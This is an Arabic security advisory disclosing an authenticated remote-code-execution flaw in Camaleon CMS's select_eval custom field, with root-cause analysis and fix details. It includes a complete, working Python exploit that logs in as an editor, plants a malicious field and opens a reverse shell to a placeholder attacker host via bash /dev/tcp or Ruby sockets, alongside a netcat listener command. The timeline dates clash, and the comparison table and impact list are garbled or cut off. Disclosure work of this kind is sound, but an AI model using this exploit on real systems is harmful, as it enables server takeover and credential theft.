
استشارة أمنية: Camaleon CMS - RCE بعد المصادقة عبر حقل مخصص `select_eval`
select_evalمعرّف CVE المعيّن: CVE-2026-66748
المنتج: Camaleon CMS (https://github.com/owen2345/camaleon-cms)
الإصدارات المتأثرة: 2.1.1 – 2.9.1 (أُدخلت الثغرة في الالتزام 415cbda6 بتاريخ 2015-10-16؛ أُصلحت في الالتزام 15882366 بتاريخ 2026-03-29 / v2.9.2)
الخطورة: عالية
درجة CVSS 4.0: 8.7
متجه CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CWE: CWE-94 (حقن التعليمات البرمجية)
الباحث: Theodosis Paidakis
تم إشعار البائع: 2026-06-21
استشارة ذات صلة: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (label_eval - نوع حقل موازٍ، نفس السبب الجذري، بدون CVE معيّن)
يخزّن نوع الحقل المخصص select_eval تعبير Ruby عشوائيًا في field.options[:command] وينفّذه عبر instance_eval في عرض ERB كلما تم عرض صفحة تحرير مقال. قبل الإصدار v2.9.2، كان بإمكان أي مستخدم يمتلك صلاحية إدارة custom_fields - التي تُمنح عادةً لحسابات دور المحرر - إنشاء هذا النوع من الحقول وتحقيق RCE على الخادم. يُفعَّل حقل select_eval عند كل عرض صفحة لأي مقال يستخدم مجموعة الحقول؛ ويصبح مخرجه قائمة خيارات القائمة المنسدلة. تم إصلاح الثغرة في الإصدار v2.9.2.
الملف: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
instance_eval(field.options[:command].to_s.strip),
class: "..." %>
يتم استدعاء instance_eval مع السلسلة النصية الخام من سجل قاعدة البيانات. لا يوجد أي عزل (sandboxing) ولا أي قيد في وقت الترجمة على الدوال أو الثوابت التي يمكن الوصول إليها من سياق ربط ERB (وهو سياق عرض Rails كامل).
الملف: app/models/camaleon_cms/ability.rb (v2.9.1، الأسطر 161-165)
لا يتم منح صلاحية custom_fields بشكل صريح أبدًا. تحصل ثمانية موارد على can :manage بشكل فردي في مواضع سابقة من الملف (media, comments, themes, widgets, nav_menu, plugins, users, settings)، وcustom_fields ليس واحدًا منها. لا يمكن الوصول إليها إلا من خلال هذا المسار الشامل (catch-all)، الذي يمنح manage لأي مفتاح موجود في هاش @roles_manager الخاص بالدور دون التحقق مما إذا كان هذا المفتاح آمنًا للمنح:
@roles_manager.try(:each) do |rol_manage_key, val_role|
can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
false
end
لذلك، يمكن لأي مستخدم لديه بت custom_fields مضبوطًا في دوره الوصول إلى وحدة تحكم الحقول المخصصة. في النطاق المتأثر، كان هذا البت يُمنح بشكل روتيني للأدوار على مستوى المحرر.
في إعادة الكتابة بالإصدار v2.9.2، يُستبدل can بغلاف safe_can وتُضاف قائمة %i[...] صريحة تحتوي على كل من custom_fields وselect_eval، لكن حلقة المسار الشامل أعلاه ما زالت موجودة في هذا الإصدار. قائمة الصلاحيات ليست هي ما يصلح هذه المشكلة؛ بل ما يصلحها هو قائمة السماح للمعلمات القوية (strong parameters) في custom_fields_controller.rb وحاجز can?(:manage, :select_eval) في custom_field_group.rb.
صُمم نوع الحقل select_eval للسماح للمطورين بتعبئة القوائم المنسدلة ديناميكيًا من كود Ruby مخزّن في قاعدة بيانات CMS. إن تنفيذ Ruby عشوائي من عمود في قاعدة البيانات عبر instance_eval يعادل منح الوصول إلى shell لأي شخص يمكنه كتابة تلك القيمة. كان شرط الصلاحية هو custom_fields - وهي صلاحية إدارة محتوى روتينية - وليس بتًا مميزًا صريحًا.
تم نشر هذا الاكتشاف في GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 الذي يغطي نوع حقل موازٍ label_eval في Camaleon CMS. كانت تلك الاستشارة جزءًا من مجموعة من خمسة اكتشافات (GHSL-2024-182 حتى GHSL-2024-186)؛ حصل اثنان فقط من الخمسة على أرقام CVE (CVE-2024-46986 وCVE-2024-46987). GHSL-2024-185 نفسه بدون CVE معيّن.
يشترك select_eval وlabel_eval في نفس السبب الجذري - Ruby عشوائي مخزّن في قاعدة البيانات يُنفَّذ عبر instance_eval في عرض ERB - لكنهما مختلفان في كل بُعد آخر:
label_eval (GHSL-2024-185) | select_eval (هذا التقرير) | |
|---|---|---|
| موقع التنفيذ | تسمية الحقل في أي نموذج | select_tag في صفحة تحرير المقال |
| مسار الكتابة | نص تسمية الحقل المخصص |
يغطي هذا التقرير select_eval حصريًا. لا توجد CVE حالية أو استشارة عامة توثق هذا النوع المحدد من الحقول ومسار استغلاله.
تم تحديد النطاق المتأثر من v2.1.1 إلى v2.9.1 من خلال تحليل المصدر؛ وتم تأكيد نجاح الاستغلال بالكامل على v2.9.1. لا يتطلب الأمر سوى حساب بصلاحية custom_fields - دون أي وصول إلى الخادم.
المتطلبات الأساسية: أي حساب مع تعيين بت إدارة custom_fields - صلاحية قياسية لدور المحرر في النطاق المتأثر.
الخطوة 1. ابدأ مستمعًا:
nc -lnvp 4444
الخطوة 2. شغّل السكربت. عدّل BASE وATTACKER_IP وTYPE_ID وPOST_ID وبيانات الاعتماد.
TYPE_ID - معرّف نوع المقال الظاهر في عنوان شريط الإدارة الجانبي (مثل /admin/post_type/2/posts).
POST_ID - أي معرّف مقال ضمن هذا النوع، من روابط التحرير في قائمة المقالات.
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # post type ID - from admin sidebar URL
POST_ID = 1 # any post under that type - from post list edit links
USERNAME = "editor" # any account with custom_fields manage permission
PASSWORD = "Editor1234!"
# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
أي حساب بصلاحية custom_fields (قبل v2.9.2) يحصل على:
deploy, www-data, rails, إلخ.)secret_key_base من config/secrets.yml تزوير ملفات تعريف ارتباط (cookies) للجلسات لأي مستخدم، بما في ذلك المسؤولونقبل v2.9.2، كانت صلاحية custom_fields تُمنح بشكل روتيني لمستخدمي دور المحرر. المهاجم الذي يخترق أي حساب على مستوى المحرر يحقق RCE كاملًا على الخادم.
2026-06-19 - اكتُشفت أثناء تحليل مصدر الإصدارين v2.9.2 وv2.9.1 2026-06-21 - تم إشعار البائع 2026-03-29 - تم إصدار التصحيح بالفعل (v2.9.2، الالتزام 15882366)
صف البيانات الوصفية field.options[:command] |